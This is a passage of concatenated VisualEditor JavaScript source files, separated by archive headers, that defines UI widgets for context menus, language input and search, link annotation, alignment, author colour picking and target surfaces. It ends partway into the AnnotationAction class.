 * VisualEditor Context Menu widget class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * Menu of items, each an inspectable attribute of the current context.
 *
 * Use with ve.ui.ContextOptionWidget.
 *
 * @class
 * @extends OO.ui.SelectWidget
 *
 * @constructor
 * @param {Object} [config] Configuration options
 */
ve.ui.ContextSelectWidget = function VeUiContextSelectWidget( config ) {
	// Config initialization
	config = config || {};

	// Parent constructor
	ve.ui.ContextSelectWidget.super.call( this, config );

	this.connect( this, { choose: 'onChooseItem' } );

	// Initialization
	this.$element.addClass( 've-ui-contextSelectWidget' );
};

/* Setup */

OO.inheritClass( ve.ui.ContextSelectWidget, OO.ui.SelectWidget );

/* Methods */

/**
 * Handle choose item events.
 */
ve.ui.ContextSelectWidget.prototype.onChooseItem = function () {
	// Auto-deselect
	this.selectItem( null );
};
ui/widgets/ve.ui.ContextOptionWidget.js000066600000003337151334753760014223 0ustar00/*!
 * VisualEditor Context Item widget class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * Proxy for a tool, displaying information about the current context.
 *
 * Use with ve.ui.ContextSelectWidget.
 *
 * @class
 * @extends OO.ui.DecoratedOptionWidget
 *
 * @constructor
 * @param {Function} tool Tool item is a proxy for
 * @param {ve.dm.Node|ve.dm.Annotation} model Node or annotation item is related to
 * @param {Object} [config] Configuration options
 */
ve.ui.ContextOptionWidget = function VeUiContextOptionWidget( tool, model, config ) {
	// Config initialization
	config = config || {};

	// Parent constructor
	ve.ui.ContextOptionWidget.super.call( this, config );

	// Properties
	this.tool = tool;
	this.model = model;

	// Initialization
	this.$element.addClass( 've-ui-contextOptionWidget' );
	this.setIcon( this.tool.static.icon );

	this.setLabel( this.getDescription() );
};

/* Setup */

OO.inheritClass( ve.ui.ContextOptionWidget, OO.ui.DecoratedOptionWidget );

/* Methods */

/**
 * Get a description of the model.
 *
 * @return {string} Description of model
 */
ve.ui.ContextOptionWidget.prototype.getDescription = function () {
	var description;

	if ( this.model instanceof ve.dm.Annotation ) {
		description = ve.ce.annotationFactory.getDescription( this.model );
	} else if ( this.model instanceof ve.dm.Node ) {
		description = ve.ce.nodeFactory.getDescription( this.model );
	}
	if ( !description ) {
		description = this.tool.static.title;
	}

	return description;
};

/**
 * Get the command for this item.
 *
 * @return {ve.ui.Command}
 */
ve.ui.ContextOptionWidget.prototype.getCommand = function () {
	return this.tool.static.getCommand( this.context.getSurface() );
};
ui/widgets/ve.ui.LanguageInputWidget.js000066600000017337151334753760014156 0ustar00/*!
 * VisualEditor UserInterface LanguageInputWidget class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * Creates an ve.ui.LanguageInputWidget object.
 *
 * @class
 * @extends OO.ui.Widget
 *
 * @constructor
 * @param {Object} [config] Configuration options
 * @cfg {string} [dirInput='auto'] How to display the directionality input. Options are:
 *      - none: Directionality input is hidden.
 *      - no-auto: Directionality input is visible and options are LTR or RTL.
 *      - auto: Directionality input is visible and options include "auto" in
 *            addition to LTR and RTL.
 * @cfg {boolean} [readOnly=false] Prevent changes to the value of the input.
 * @cfg {boolean} [hideCodeInput] Prevent user from entering a language code as free text
 * @cfg {ve.ui.WindowManager} [dialogManager] Window manager to launch the language search dialog in
 * @cfg {string[]} [availableLanguages] Available language codes to show in search dialog
 */
ve.ui.LanguageInputWidget = function VeUiLanguageInputWidget( config ) {
	// Configuration initialization
	config = config || {};

	// Parent constructor
	ve.ui.LanguageInputWidget.super.call( this, config );

	// Properties
	this.lang = null;
	this.dir = null;
	this.setReadOnly( !!config.readOnly );

	this.dialogs = config.dialogManager || new ve.ui.WindowManager( { factory: ve.ui.windowFactory } );
	this.availableLanguages = config.availableLanguages;

	this.findLanguageButton = new OO.ui.ButtonWidget( {
		classes: [ 've-ui-languageInputWidget-findLanguageButton' ],
		icon: 'ellipsis'
	} );
	this.findLanguageButton.$button.attr( 'aria-label', ve.msg( 'visualeditor-dialog-language-search-title' ) );
	this.selectedLanguageLabel = new OO.ui.LabelWidget( {
		classes: [ 've-ui-languageInputWidget-selectedLanguageLabel' ],
		label: ve.msg( 'visualeditor-languageinspector-widget-changelang' )
	} );
	this.languageCodeTextInput = new OO.ui.TextInputWidget( {
		classes: [ 've-ui-languageInputWidget-languageCodeTextInput' ]
	} );
	this.languageCodeTextInput.$input.attr( 'aria-label', ve.msg( 'visualeditor-languageinspector-widget-label-langcode' ) );

	this.directionSelect = new OO.ui.ButtonSelectWidget( {
		classes: [ 've-ui-languageInputWidget-directionSelect' ]
	} );
	this.directionLabel = new OO.ui.LabelWidget( {
		classes: [ 've-ui-languageInputWidget-directionLabel' ],
		label: ve.msg( 'visualeditor-languageinspector-widget-label-direction' )
	} );

	var $language = $( '<div>' ).addClass( 've-ui-languageInputWidget-languageInput' );
	$language.append(
		this.findLanguageButton.$element
	);
	if ( !config.hideCodeInput ) {
		$language.prepend( this.languageCodeTextInput.$element );
	}
	this.findLanguageButton.$element.before( this.selectedLanguageLabel.$element );

	// Events
	this.findLanguageButton.connect( this, { click: 'onFindLanguageButtonClick' } );
	this.languageCodeTextInput.connect( this, { change: 'onChange' } );
	this.directionSelect.connect( this, { select: 'onChange' } );

	// Initialization
	var dirItems = [
		new OO.ui.ButtonOptionWidget( {
			data: 'rtl',
			icon: 'textDirRTL'
		} ),
		new OO.ui.ButtonOptionWidget( {
			data: 'ltr',
			icon: 'textDirLTR'
		} )
	];
	var dirInput = ( config.dirInput === undefined ) ? 'auto' : config.dirInput;

	if ( dirInput === 'auto' ) {
		dirItems.splice(
			1, 0, new OO.ui.ButtonOptionWidget( {
				data: null,
				label: ve.msg( 'visualeditor-dialog-language-auto-direction' )
			} )
		);
	}
	this.directionSelect.addItems( dirItems );
	$( document.body ).append( this.dialogs.$element );

	this.$element
		.addClass( 've-ui-languageInputWidget' )
		.append( $language );

	if ( dirInput !== 'none' ) {
		this.$element.append( this.directionLabel.$element, this.directionSelect.$element );
	}
};

/* Inheritance */

OO.inheritClass( ve.ui.LanguageInputWidget, OO.ui.Widget );

/* Events */

/**
 * @event change
 * @param {string} lang Language code
 * @param {string} dir Directionality
 */

/* Methods */

/**
 * Handle find language button click events.
 */
ve.ui.LanguageInputWidget.prototype.onFindLanguageButtonClick = function () {
	var widget = this;

	this.dialogs.openWindow( 'languageSearch', {
		availableLanguages: this.availableLanguages,
		$returnFocusTo: null
	} ).closing.then( function ( data ) {
		data = data || {};
		if ( data.action === 'done' ) {
			widget.setLangAndDir( data.lang, data.dir );
		}
	} );
};

/**
 * Handle input widget change events.
 */
ve.ui.LanguageInputWidget.prototype.onChange = function () {
	if ( this.updating ) {
		return;
	}

	var selectedItem = this.directionSelect.findSelectedItem();
	this.setLangAndDir(
		this.languageCodeTextInput.getValue(),
		selectedItem ? selectedItem.getData() : null
	);
};

/**
 * Set language and directionality
 *
 * The inputs value will automatically be updated.
 *
 * @param {string} lang Language code
 * @param {string} dir Directionality
 * @fires change
 * @return {ve.ui.LanguageInputWidget}
 * @chainable
 */
ve.ui.LanguageInputWidget.prototype.setLangAndDir = function ( lang, dir ) {
	if ( lang === this.lang && dir === this.dir ) {
		// No change
		return this;
	}

	// Set state flag while programmatically changing input widget values
	this.updating = true;
	if ( lang || dir ) {
		lang = lang || '';
		this.languageCodeTextInput.setValue( lang );
		this.selectedLanguageLabel.setLabel(
			ve.init.platform.getLanguageName( lang.toLowerCase() ) ||
			ve.msg( 'visualeditor-languageinspector-widget-changelang' )
		);
		this.directionSelect.selectItemByData( dir );
	} else {
		this.languageCodeTextInput.setValue( '' );
		this.selectedLanguageLabel.setLabel(
			ve.msg( 'visualeditor-languageinspector-widget-changelang' )
		);
		this.directionSelect.selectItem( null );
	}
	// Set title as long language may be truncated
	this.selectedLanguageLabel.setTitle( this.selectedLanguageLabel.$label.text() );
	this.updating = false;

	this.lang = lang;
	this.dir = dir;
	this.emit( 'change', lang, dir );
	return this;
};

/**
 * Get the language
 *
 * @return {string} Language code
 */
ve.ui.LanguageInputWidget.prototype.getLang = function () {
	return this.lang;
};

/**
 * Get the directionality
 *
 * @return {string} Directionality (ltr/rtl)
 */
ve.ui.LanguageInputWidget.prototype.getDir = function () {
	return this.dir;
};

/**
 * Update the disabled state of the controls
 *
 * @chainable
 * @protected
 * @return {OO.ui.NumberInputWidget} The widget, for chaining
 */
ve.ui.LanguageInputWidget.prototype.updateControlsDisabled = function () {
	var disabled = this.isDisabled() || this.isReadOnly();
	if ( this.findLanguageButton ) {
		this.findLanguageButton.setDisabled( disabled );
	}
	if ( this.directionSelect ) {
		this.directionSelect.setDisabled( disabled );
	}
	return this;
};

/**
 * Disable or enable the inputs
 *
 * @param {boolean} disabled Set disabled or enabled
 * @return {ve.ui.LanguageInputWidget}
 * @chainable
 */
ve.ui.LanguageInputWidget.prototype.setDisabled = function ( disabled ) {
	// Parent method
	ve.ui.LanguageInputWidget.super.prototype.setDisabled.call( this, disabled );

	// The 'setDisabled' method runs in the constructor before the
	// inputs are initialized
	if ( this.languageCodeTextInput ) {
		this.languageCodeTextInput.setDisabled( disabled );
	}
	this.updateControlsDisabled();
	return this;
};

/**
 * Check if the widget is read-only
 *
 * @return {boolean}
 */
ve.ui.LanguageInputWidget.prototype.isReadOnly = function () {
	return this.readOnly;
};

/**
 * Set the read-only state of the widget
 *
 * @param {boolean} readOnly Make widget read-only
 * @return {ve.ui.LanguageInputWidget}
 * @chainable
 */
ve.ui.LanguageInputWidget.prototype.setReadOnly = function ( readOnly ) {
	this.readOnly = readOnly;
	if ( this.languageCodeTextInput ) {
		this.languageCodeTextInput.setReadOnly( readOnly );
	}
	this.updateControlsDisabled();
	return this;
};
ui/widgets/ve.ui.LinkAnnotationWidget.js000066600000011657151334753760014342 0ustar00/*!
 * VisualEditor UserInterface LinkAnnotationWidget class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * Creates an ve.ui.LinkAnnotationWidget object.
 *
 * @class
 * @extends OO.ui.Widget
 *
 * @constructor
 * @param {Object} [config] Configuration options
 */
ve.ui.LinkAnnotationWidget = function VeUiLinkAnnotationWidget( config ) {
	// Properties
	this.annotation = null;
	this.input = this.createInputWidget( config );

	// Parent constructor
	// Must be called after this.input is set as parent constructor calls this.setDisabled
	ve.ui.LinkAnnotationWidget.super.apply( this, arguments );

	// Initialization
	this.$element
		.append( this.input.$element )
		.addClass( 've-ui-linkAnnotationWidget' );

	// Events
	this.getTextInputWidget().connect( this, { change: 'onTextChange' } );
};

/* Inheritance */

OO.inheritClass( ve.ui.LinkAnnotationWidget, OO.ui.Widget );

/* Events */

/**
 * @event change
 *
 * A change event is emitted when the annotation value of the input changes.
 *
 * @param {ve.dm.LinkAnnotation|null} annotation
 */

/* Static Methods */

/**
 * Get an annotation from the current text value
 *
 * @static
 * @param {string} value Text value
 * @return {ve.dm.LinkAnnotation|null} Link annotation
 */
ve.ui.LinkAnnotationWidget.static.getAnnotationFromText = function ( value ) {
	var href = value.trim();

	// Keep annotation in sync with value
	if ( href === '' ) {
		return null;
	} else {
		return new ve.dm.LinkAnnotation( {
			type: 'link',
			attributes: {
				href: href
			}
		} );
	}
};

/**
 * Get a text value for the current annotation
 *
 * @static
 * @param {ve.dm.LinkAnnotation|null} annotation Link annotation
 * @return {string} Text value for the annotation
 */
ve.ui.LinkAnnotationWidget.static.getTextFromAnnotation = function ( annotation ) {
	return annotation ? annotation.getHref() : '';
};

/* Methods */

/**
 * Create a widget to be used by the annotation widget
 *
 * @param {Object} [config] Configuration options
 * @return {OO.ui.Widget} Text input widget
 */
ve.ui.LinkAnnotationWidget.prototype.createInputWidget = function ( config ) {
	return new OO.ui.TextInputWidget( ve.extendObject( { validate: 'non-empty' }, config ) );
};

/**
 * Get the text input widget used by the annotation widget
 *
 * @return {OO.ui.TextInputWidget} Text input widget
 */
ve.ui.LinkAnnotationWidget.prototype.getTextInputWidget = function () {
	return this.input;
};

/**
 * @inheritdoc
 */
ve.ui.LinkAnnotationWidget.prototype.setDisabled = function () {
	// Parent method
	ve.ui.LinkAnnotationWidget.super.prototype.setDisabled.apply( this, arguments );

	this.getTextInputWidget().setDisabled( this.isDisabled() );
	return this;
};

/**
 * Handle value-changing events from the text input
 *
 * @param {string} value New input value
 */
ve.ui.LinkAnnotationWidget.prototype.onTextChange = function ( value ) {
	var widget = this;

	// RTL/LTR check
	// TODO: Make this work properly
	if ( document.body.classList.contains( 'rtl' ) ) {
		var isExt = ve.init.platform.getExternalLinkUrlProtocolsRegExp().test( value.trim() );
		// If URL is external, flip to LTR. Otherwise, set back to RTL
		this.getTextInputWidget().setDir( isExt ? 'ltr' : 'rtl' );
	}

	this.getTextInputWidget().getValidity()
		.done( function () {
			widget.setAnnotation( widget.constructor.static.getAnnotationFromText( value ), true );
		} )
		.fail( function () {
			widget.setAnnotation( null, true );
		} );
};

/**
 * Sets the annotation value.
 *
 * The input value will automatically be updated.
 *
 * @param {ve.dm.LinkAnnotation|null} annotation Link annotation
 * @param {boolean} [fromText] Annotation was generated from text input
 * @return {ve.ui.LinkAnnotationWidget}
 * @chainable
 */
ve.ui.LinkAnnotationWidget.prototype.setAnnotation = function ( annotation, fromText ) {
	if ( ve.compare(
		annotation ? annotation.getComparableObject() : {},
		this.annotation ? this.annotation.getComparableObject() : {}
	) ) {
		// No change
		return this;
	}

	this.annotation = annotation;

	// If this method was triggered by a change to the text input, leave it alone.
	if ( !fromText ) {
		this.getTextInputWidget().setValue( this.constructor.static.getTextFromAnnotation( annotation ) );
	}

	this.emit( 'change', this.annotation );

	return this;
};

/**
 * Gets the annotation value.
 *
 * @return {ve.dm.LinkAnnotation} Link annotation
 */
ve.ui.LinkAnnotationWidget.prototype.getAnnotation = function () {
	return this.annotation;
};

/**
 * Get the hyperlink location.
 *
 * @return {string} Hyperlink location
 */
ve.ui.LinkAnnotationWidget.prototype.getHref = function () {
	return this.constructor.static.getTextFromAnnotation( this.annotation );
};

/**
 * Set the read-only state of the widget
 *
 * @param {boolean} readOnly Make widget read-only
 * @return {ve.ui.LinkAnnotationWidget}
 * @chainable
 */
ve.ui.LinkAnnotationWidget.prototype.setReadOnly = function ( readOnly ) {
	this.input.setReadOnly( readOnly );
	return this;
};
ui/widgets/ve.ui.NoFocusButtonWidget.js000066600000000637151334753760014156 0ustar00/**
 * Button widget that cancels mousedown events.
 *
 * TODO: Make cancelButtonMouseDownEvents an upstream param,
 * instead of requiring inheritance.
 */
ve.ui.NoFocusButtonWidget = function NoFocusButtonWidget() {
	ve.ui.NoFocusButtonWidget.super.apply( this, arguments );
};
OO.inheritClass( ve.ui.NoFocusButtonWidget, OO.ui.ButtonWidget );
ve.ui.NoFocusButtonWidget.static.cancelButtonMouseDownEvents = true;
ui/widgets/ve.ui.AuthorItemWidget.js000066600000006707151334753760013473 0ustar00/*!
 * VisualEditor UserInterface AuthorItemWidget class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 * @license The MIT License (MIT); see LICENSE.txt
 */

/* global CP */

/**
 * UserInterface AuthorItemWidget
 *
 * @class
 * @extends OO.ui.Widget
 * @mixins OO.ui.mixin.IconElement
 * @mixins OO.ui.mixin.LabelElement
 *
 * @constructor
 * @param {ve.dm.SurfaceSynchronizer} synchronizer Surface synchronizer
 * @param {jQuery} $overlay Overlay in which to attach popups (e.g. color picker)
 * @param {Object} [config] Configuration options
 */
ve.ui.AuthorItemWidget = function VeUiAuthorItemWidget( synchronizer, $overlay, config ) {
	var item = this;

	config = config || {};

	// Parent constructor
	ve.ui.AuthorItemWidget.super.call( this, config );

	// Mixin constructors
	OO.ui.mixin.LabelElement.call( this, config );

	this.synchronizer = synchronizer;
	this.editable = !!config.editable;
	this.authorId = config.authorId;
	this.name = null;
	this.color = null;

	this.$color = $( '<div>' ).addClass( 've-ui-authorItemWidget-color' );
	this.$element.append( this.$color );

	if ( this.editable ) {
		this.input = new OO.ui.TextInputWidget( {
			classes: [ 've-ui-authorItemWidget-nameInput' ],
			placeholder: ve.msg( 'visualeditor-rebase-client-author-name' )
		} );
		// Re-emit change events
		this.input.on( 'change', this.emit.bind( this, 'change' ) );

		this.colorPicker = new CP( this.$color[ 0 ] );
		this.colorPicker.on( 'change', function ( color ) {
			item.color = color;
			item.$color.css( 'background-color', '#' + color );
		} );
		this.colorPicker.on( 'exit', function () {
			if ( item.color !== null ) {
				item.emit( 'changeColor', item.color );
			}
		} );

		this.colorPicker.picker.classList.add( 've-ui-authorItemWidget-colorPicker' );
		this.colorPicker.fit = function () {
			this.picker.style.left = item.$element[ 0 ].offsetLeft + 'px';
			this.picker.style.top = item.$element[ 0 ].offsetTop + 'px';
			$overlay[ 0 ].appendChild( this.picker );
		};

		this.$element
			.addClass( 've-ui-authorItemWidget-editable' )
			.append( this.input.$element );
	} else {
		this.$element.append( this.$label );
	}

	this.update();

	this.$element.addClass( 've-ui-authorItemWidget' );
};

/* Inheritance */

OO.inheritClass( ve.ui.AuthorItemWidget, OO.ui.Widget );

OO.mixinClass( ve.ui.AuthorItemWidget, OO.ui.mixin.IconElement );

OO.mixinClass( ve.ui.AuthorItemWidget, OO.ui.mixin.LabelElement );

/* Methods */

/**
 * Focus the widget, if possible
 */
ve.ui.AuthorItemWidget.prototype.focus = function () {
	if ( this.editable ) {
		this.input.focus();
	}
};

/**
 * Get the user's name
 *
 * @return {string} User's name
 */
ve.ui.AuthorItemWidget.prototype.getName = function () {
	if ( this.editable ) {
		return this.input.getValue();
	} else {
		return this.name;
	}
};

/**
 * Set author ID
 *
 * @param {number} authorId Author ID
 */
ve.ui.AuthorItemWidget.prototype.setAuthorId = function ( authorId ) {
	this.authorId = authorId;
};

/**
 * Update name and color from synchronizer
 */
ve.ui.AuthorItemWidget.prototype.update = function () {
	var authorData = this.synchronizer.getAuthorData( this.authorId );
	this.name = authorData.name;
	this.color = authorData.color;
	this.$color.css( 'background-color', '#' + this.color );

	if ( this.editable ) {
		this.input.setValue( this.name );
		this.colorPicker.set( '#' + this.color );
	} else {
		// TODO: Handle empty names with a message
		this.setLabel( this.name || '…' );
	}
};
ui/widgets/ve.ui.AlignWidget.js000066600000002221151334753760012427 0ustar00/*!
 * VisualEditor UserInterface AlignWidget class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * Widget that lets the user edit alignment of an object
 *
 * @class
 * @extends OO.ui.ButtonSelectWidget
 *
 * @constructor
 * @param {Object} [config] Configuration options
 * @cfg {string} [dir='ltr'] Interface directionality
 */
ve.ui.AlignWidget = function VeUiAlignWidget( config ) {
	config = config || {};

	// Parent constructor
	ve.ui.AlignWidget.super.call( this, config );

	var alignButtons = [
		new OO.ui.ButtonOptionWidget( {
			data: 'left',
			icon: 'alignLeft',
			label: ve.msg( 'visualeditor-align-widget-left' )
		} ),
		new OO.ui.ButtonOptionWidget( {
			data: 'center',
			icon: 'alignCenter',
			label: ve.msg( 'visualeditor-align-widget-center' )
		} ),
		new OO.ui.ButtonOptionWidget( {
			data: 'right',
			icon: 'alignRight',
			label: ve.msg( 'visualeditor-align-widget-right' )
		} )
	];

	if ( config.dir === 'rtl' ) {
		alignButtons = alignButtons.reverse();
	}

	this.addItems( alignButtons, 0 );

};

/* Inheritance */

OO.inheritClass( ve.ui.AlignWidget, OO.ui.ButtonSelectWidget );
ui/widgets/ve.ui.LanguageSearchWidget.js000066600000006376151334753760014265 0ustar00/*!
 * VisualEditor UserInterface LanguageSearchWidget class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * Creates an ve.ui.LanguageSearchWidget object.
 *
 * @class
 * @extends OO.ui.SearchWidget
 *
 * @constructor
 * @param {Object} [config] Configuration options
 */
ve.ui.LanguageSearchWidget = function VeUiLanguageSearchWidget( config ) {
	// Configuration initialization
	config = ve.extendObject( {
		placeholder: ve.msg( 'visualeditor-language-search-input-placeholder' )
	}, config );

	// Parent constructor
	ve.ui.LanguageSearchWidget.super.call( this, config );

	// Properties
	this.filteredLanguageResultWidgets = [];
	this.languageResultWidgets = ve.init.platform.getLanguageCodes()
		.sort()
		.map( function ( languageCode ) {
			return new ve.ui.LanguageResultWidget( { data: {
				code: languageCode,
				name: ve.init.platform.getLanguageName( languageCode ),
				autonym: ve.init.platform.getLanguageAutonym( languageCode )
			} } );
		} );

	this.setAvailableLanguages();

	// Initialization
	this.$element.addClass( 've-ui-languageSearchWidget' );
};

/* Inheritance */

OO.inheritClass( ve.ui.LanguageSearchWidget, OO.ui.SearchWidget );

/* Methods */

/**
 * @inheritdoc
 */
ve.ui.LanguageSearchWidget.prototype.onQueryChange = function () {
	// Parent method
	ve.ui.LanguageSearchWidget.super.prototype.onQueryChange.apply( this, arguments );

	// Populate
	this.addResults();
};

/**
 * Set available languages to show
 *
 * @param {string[]} availableLanguages Available language codes to show, all if undefined
 */
ve.ui.LanguageSearchWidget.prototype.setAvailableLanguages = function ( availableLanguages ) {
	if ( !availableLanguages ) {
		this.filteredLanguageResultWidgets = this.languageResultWidgets.slice();
		return;
	}

	this.filteredLanguageResultWidgets = [];

	for ( var i = 0, iLen = this.languageResultWidgets.length; i < iLen; i++ ) {
		var languageResult = this.languageResultWidgets[ i ];
		var data = languageResult.getData();
		if ( availableLanguages.indexOf( data.code ) !== -1 ) {
			this.filteredLanguageResultWidgets.push( languageResult );
		}
	}
};

/**
 * Update search results from current query
 */
ve.ui.LanguageSearchWidget.prototype.addResults = function () {
	var matchProperties = [ 'name', 'autonym', 'code' ],
		query = this.query.getValue().trim(),
		compare = new Intl.Collator( this.lang, { sensitivity: 'base' } ).compare,
		hasQuery = !!query.length,
		items = [];

	this.results.clearItems();

	for ( var i = 0, iLen = this.filteredLanguageResultWidgets.length; i < iLen; i++ ) {
		var languageResult = this.filteredLanguageResultWidgets[ i ];
		var data = languageResult.getData();
		var matchedProperty = null;

		for ( var j = 0, jLen = matchProperties.length; j < jLen; j++ ) {
			if ( data[ matchProperties[ j ] ] && compare( data[ matchProperties[ j ] ].slice( 0, query.length ), query ) === 0 ) {
				matchedProperty = matchProperties[ j ];
				break;
			}
		}

		if ( query === '' || matchedProperty ) {
			items.push(
				languageResult
					.updateLabel( query, matchedProperty, compare )
					.setSelected( false )
					.setHighlighted( false )
			);
		}
	}

	this.results.addItems( items );
	if ( hasQuery ) {
		this.results.highlightItem( this.results.findFirstSelectableItem() );
	}
};
ui/widgets/ve.ui.TargetWidget.js000066600000016415151334753760012635 0ustar00/*!
 * VisualEditor UserInterface TargetWidget class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * Creates an ve.ui.TargetWidget object.
 *
 * User must call #initialize after the widget has been attached
 * to the DOM, and also after the document is changed with #setDocument.
 *
 * @class
 * @abstract
 * @extends OO.ui.Widget
 * @mixins OO.ui.mixin.PendingElement
 *
 * @constructor
 * @param {Object} [config] Configuration options
 * @cfg {ve.dm.Document} [doc] Initial document model
 * @cfg {Object} [modes] Available editing modes.
 * @cfg {Object} [defaultMode] Default mode for new surfaces.
 * @cfg {Object} [toolbarGroups] Target's toolbar groups config.
 * @cfg {string[]|null} [includeCommands] List of commands to include, null for all registered commands
 * @cfg {string[]} [excludeCommands] List of commands to exclude
 * @cfg {Object} [importRules] Import rules
 * @cfg {boolean} [multiline=true] Multi-line surface
 * @cfg {string} [placeholder] Placeholder text to display when the surface is empty
 * @cfg {boolean} [readOnly] Surface is read-only
 * @cfg {string} [inDialog] The name of the dialog this surface widget is in
 */
ve.ui.TargetWidget = function VeUiTargetWidget( config ) {
	// Config initialization
	config = config || {};

	// Parent constructor
	ve.ui.TargetWidget.super.call( this, config );

	// Mixin constructor
	OO.ui.mixin.PendingElement.call( this, config );

	// Properties
	this.toolbarGroups = config.toolbarGroups;
	// TODO: Override document/targetTriggerListener
	this.includeCommands = config.includeCommands;
	this.excludeCommands = config.excludeCommands;
	this.multiline = config.multiline !== false;
	this.placeholder = config.placeholder;
	this.readOnly = config.readOnly;
	this.importRules = config.importRules;
	this.inDialog = config.inDialog;
	this.modes = config.modes;
	this.defaultMode = config.defaultMode;

	this.target = this.createTarget();

	if ( config.doc ) {
		this.setDocument( config.doc );
	}

	// Initialization
	this.$element.addClass( 've-ui-targetWidget' )
		.append( this.target.$element );
};

/* Inheritance */

OO.inheritClass( ve.ui.TargetWidget, OO.ui.Widget );
OO.mixinClass( ve.ui.TargetWidget, OO.ui.mixin.PendingElement );

/* Methods */

/**
 * The target's surface has been changed.
 *
 * @event change
 */

/**
 * The target's surface has been submitted, e.g. Ctrl+Enter
 *
 * @event submit
 */

/**
 * The target's surface has been cancelled, e.g. Escape
 *
 * @event cancel
 */

/**
 * A document has been attached to the target, and a toolbar and surface created.
 *
 * @event setup
 */

/**
 * Create the target for this widget to use
 *
 * @return {ve.init.Target}
 */
ve.ui.TargetWidget.prototype.createTarget = function () {
	return new ve.init.Target( {
		register: false,
		toolbarGroups: this.toolbarGroups,
		modes: this.modes,
		defaultMode: this.defaultMode
	} );
};

/**
 * Set the document to edit
 *
 * This replaces the entire surface in the target.
 *
 * @param {ve.dm.Document} doc
 */
ve.ui.TargetWidget.prototype.setDocument = function ( doc ) {
	// Destroy the previous surface
	this.clear();
	var surface = this.target.addSurface( doc, {
		inTargetWidget: true,
		includeCommands: this.includeCommands,
		excludeCommands: this.excludeCommands,
		importRules: this.importRules,
		multiline: this.multiline,
		placeholder: this.placeholder,
		readOnly: this.readOnly,
		// Reduce from default 10 so inspector callouts are positioned correctly
		overlayPadding: 5,
		inDialog: this.inDialog
	} );
	this.target.setSurface( surface );

	// Events
	surface.getView().connect( this, {
		activation: 'onFocusChange',
		focus: 'onFocusChange',
		blur: 'onFocusChange'
	} );
	// Rethrow as target events so users don't have to re-bind when the surface is changed
	surface.getModel().connect( this, { history: [ 'emit', 'change' ] } );
	surface.connect( this, {
		submit: 'onSurfaceSubmit',
		cancel: 'onSurfaceCancel'
	} );
	// Emit 'position' on first focus, as target widgets are often setup before being made visible. (T303795)
	surface.getView().once( 'focus', function () {
		surface.getView().emit( 'position' );
	} );

	this.emit( 'setup' );
};

/**
 * Handle surface submit events
 *
 * @fires submit
 */
ve.ui.TargetWidget.prototype.onSurfaceSubmit = function () {
	var handled = this.emit( 'submit' );
	if ( !handled && this.inDialog ) {
		// If we are in a dialog, re-throw a fake keydown event for OO.ui.Dialog#onDialogKeyDown
		this.$element.parent().trigger( $.Event( 'keydown', {
			which: OO.ui.Keys.ENTER,
			ctrlKey: true
		} ) );
	}
};

/**
 * Handle surface cancel events
 *
 * @fires cancel
 */
ve.ui.TargetWidget.prototype.onSurfaceCancel = function () {
	var handled = this.emit( 'cancel' );
	if ( !handled && this.inDialog ) {
		// If we are in a dialog, re-throw a fake keydown event for OO.ui.Dialog#onDialogKeyDown
		this.$element.parent().trigger( $.Event( 'keydown', {
			which: OO.ui.Keys.ESCAPE
		} ) );
	}
};

/**
 * Check if the surface has been modified.
 *
 * @return {boolean} The surface has been modified
 */
ve.ui.TargetWidget.prototype.hasBeenModified = function () {
	return !!this.getSurface() && this.getSurface().getModel().hasBeenModified();
};

/**
 * Set the read-only state of the widget
 *
 * @param {boolean} readOnly Make widget read-only
 */
ve.ui.TargetWidget.prototype.setReadOnly = function ( readOnly ) {
	this.readOnly = !!readOnly;
	if ( this.getSurface() ) {
		this.getSurface().setReadOnly( this.readOnly );
	}
	this.$element.toggleClass( 've-ui-targetWidget-readOnly', this.readOnly );
};

/**
 * Check if the widget is read-only
 *
 * @return {boolean}
 */
ve.ui.TargetWidget.prototype.isReadOnly = function () {
	return this.readOnly;
};

/**
 * Get surface.
 *
 * @return {ve.ui.Surface|null}
 */
ve.ui.TargetWidget.prototype.getSurface = function () {
	return this.target.getSurface();
};

/**
 * Get toolbar.
 *
 * @return {OO.ui.Toolbar}
 */
ve.ui.TargetWidget.prototype.getToolbar = function () {
	return this.target.getToolbar();
};

/**
 * Get content data.
 *
 * @return {Array} Content data
 */
ve.ui.TargetWidget.prototype.getContent = function () {
	return this.getSurface().getModel().getDocument().getData();
};

/**
 * Initialize surface and toolbar.
 *
 * Widget must be attached to DOM before initializing.
 *
 * @deprecated
 */
ve.ui.TargetWidget.prototype.initialize = function () {
	OO.ui.warnDeprecation( 've.ui.TargetWidget#initialize is deprecated and no longer needed.' );
};

/**
 * Destroy surface and toolbar.
 */
ve.ui.TargetWidget.prototype.clear = function () {
	this.target.clearSurfaces();
	// Clear toolbar?
};

/**
 * Handle focus and blur events
 */
ve.ui.TargetWidget.prototype.onFocusChange = function () {
	// This may be null if the target is in the process of being destroyed
	var surface = this.getSurface();
	// Replacement for the :focus pseudo selector one would be able to
	// use on a regular input widget
	this.$element.toggleClass(
		've-ui-targetWidget-focused',
		surface && surface.getView().isFocused() && !surface.getView().isDeactivated()
	);
};

/**
 * Focus the surface.
 */
ve.ui.TargetWidget.prototype.focus = function () {
	var surface = this.getSurface();
	if ( surface ) {
		if ( !surface.getView().attachedRoot.isLive() ) {
			surface.once( 'ready', function () {
				surface.getView().focus();
			} );
		} else {
			surface.getView().focus();
		}
	}
};
ui/actions/ve.ui.AnnotationAction.js000066600000011236151334753760013501 0ustar00/*!
 * VisualEditor UserInterface AnnotationAction class.
 *
 * @copyright 2011-2020 VisualEditor Team and others; see http://ve.mit-license.org
 */

/**
 * Annotation action.
 *
 * @class
 * @extends ve.ui.Action
 *
 * @constructor
 * @param {ve.ui.Surface} surface Surface to act on
 * @param {string} [source]
 */
ve.ui.AnnotationAction = function VeUiAnnotationAction() {
	// Parent constructor
	ve.ui.AnnotationAction.super.apply( this, arguments );
};

/* Inheritance */

